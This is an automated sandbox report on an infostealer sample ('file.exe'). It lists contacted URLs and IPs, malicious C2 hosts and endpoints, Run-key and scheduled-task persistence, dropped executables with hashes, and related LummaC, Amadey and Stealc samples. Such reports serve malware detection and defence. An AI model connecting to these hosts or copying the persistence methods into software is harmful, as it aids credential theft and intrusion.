https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2324623803.0000000006022000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 0000001E.00000002.2442103725.0000018FC190E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
http://mozilla.org/S	firefox.exe, 0000001E.00000002.2534665912.00002A46B3800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2528863394.0000163F3B300000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/bucketConfig/properties/starthttp://mozilla.org/#/properties/bucketC	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://github.com/mozilla-services/screenshotsThomas	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001E.00000002.2411238637.0000018FBFE40000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000001.00000003.1396441898.00000000059E3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1431666762.0000000001203000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1415822749.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 3cbc500e8f.exe, 0000000D.00000003.2176627636.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188741137.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2188556025.00000000060D4000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2230728877.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2226590736.00000000060DE000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2186572054.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000002.2231337135.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2227120245.000000000172C000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2176627636.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2386585609.0000000001779000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2387387415.000000000178D000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2340484095.0000000006039000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361921898.0000000001780000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2466386640.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2255418863.000000000177A000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2318515282.0000000006035000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2324466352.0000000006036000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001E.00000003.2327227071.0000018FC7750000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/This	firefox.exe, 0000001E.00000002.2436259249.0000018FC1217000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/appId	firefox.exe, 0000001E.00000002.2436259249.0000018FC1273000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php/1	c74ef7bd5d.exe, 0000000E.00000002.2202241135.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 0000001E.00000002.2492014669.0000018FC78AE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001E.00000003.2327115388.0000018FC7793000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiYU	3cbc500e8f.exe, 0000000D.00000003.2226842336.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361079492.0000000006021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000001.00000003.1398347575.00000000059EA000.00000004.00000800.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000D.00000003.2132101450.0000000001736000.00000004.00000020.00020000.00000000.sdmp, 3cbc500e8f.exe, 0000000F.00000003.2361079492.0000000006021000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2397825239.0000018FBC763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2403858188.0000018FBDE68000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2383407355.0000018FBB1AD000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.97.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545087
Start date and time:	2024-10-30 04:33:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/26@70/11
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 35.160.212.113, 52.11.191.138, 54.185.230.140
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, time.windows.com, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 3cbc500e8f.exe, PID 3312 because there are no executed function
Execution Graph export aborted for target OQ8LP4972W0L2P9TRRG7I8.exe, PID 8004 because it is empty
Execution Graph export aborted for target file.exe, PID 7416 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 2980 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6380 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:06:02	API Interceptor	59872x Sleep call for process: skotes.exe modified
01:06:18	API Interceptor	23x Sleep call for process: 3cbc500e8f.exe modified
01:06:41	API Interceptor	9x Sleep call for process: c74ef7bd5d.exe modified
06:05:32	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
06:06:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3cbc500e8f.exe C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe
06:06:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c74ef7bd5d.exe C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe
06:06:39	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9c8810ba8c.exe C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe
06:06:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1002530001\num.exe
06:06:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3cbc500e8f.exe C:\Users\user~1\AppData\Local\Temp\1002527001\3cbc500e8f.exe
06:07:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c74ef7bd5d.exe C:\Users\user~1\AppData\Local\Temp\1002528001\c74ef7bd5d.exe
06:07:16	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9c8810ba8c.exe C:\Users\user~1\AppData\Local\Temp\1002529001\9c8810ba8c.exe
23:34:14	API Interceptor	11x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	r9gBM4l6Ip.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
188.114.97.3	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	touxzw.ir/alpha2/five/fre.php
	rPO-000172483.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/2b9b/
	rPO_28102400.exe	Get hash	malicious	Lokibot	Browse	ghcopz.shop/ClarkB/PWS/fre.php
	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	z1MRforsteamDRUM-A1_pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	https://eot.lps-china.com/f/a/pQ-JA2nitAQtMB92xwUcGg~~/AAAHUQA~/RgRpAabzP4QTAWh0dHBzOi8vYmVyZW5pY2UuZW9tYWlsOC5jb20vdW5zdWJzY3JpYmU_ZXA9MiZsPTVlNmE0MDU2LWVhZTMtMTFlZS1hNzNjLWM1NDU2ZDI0OGQ3OCZsYz0zMmVlMmQ3Yy0zMjA4LTExZWYtYTFiZS1lYjMwYzAwY2FlZDgmcD05NDM1NjNkYy05Mzc2LTExZWYtYTdkMi00NTk0MDQ5OWMzNTYmcHQ9Y2FtcGFpZ24mcHY9NCZzcGE9MTczMDA5MzQ0NCZ0PTE3MzAwOTM1NTUmcz1mNWE2NDYwZWE1NTFlYzYxZDFiNjJhZTBhNTI2NGFhNjdmYWMxN2I1MzRkNWI4MzdhNTA0MDAwM2ZhNmZmMGUwVwVzcGNldUIKZw7zIR9n2KUgilIeZ2VtbWEubG9yZW56b0BkdWJhaWhvbGRpbmcuY29tWAQAAAL5	Get hash	malicious	Unknown	Browse	172.67.132.160
	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse	172.67.179.207
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/creditodigitalelmo.com.br/solo/i2975ufuy18zkhauvhibzzxy/YWRzQGJldHdlZW4udXM=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	z6INVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Ndnownts.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.97.3
	1Ebp0gOgh5.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
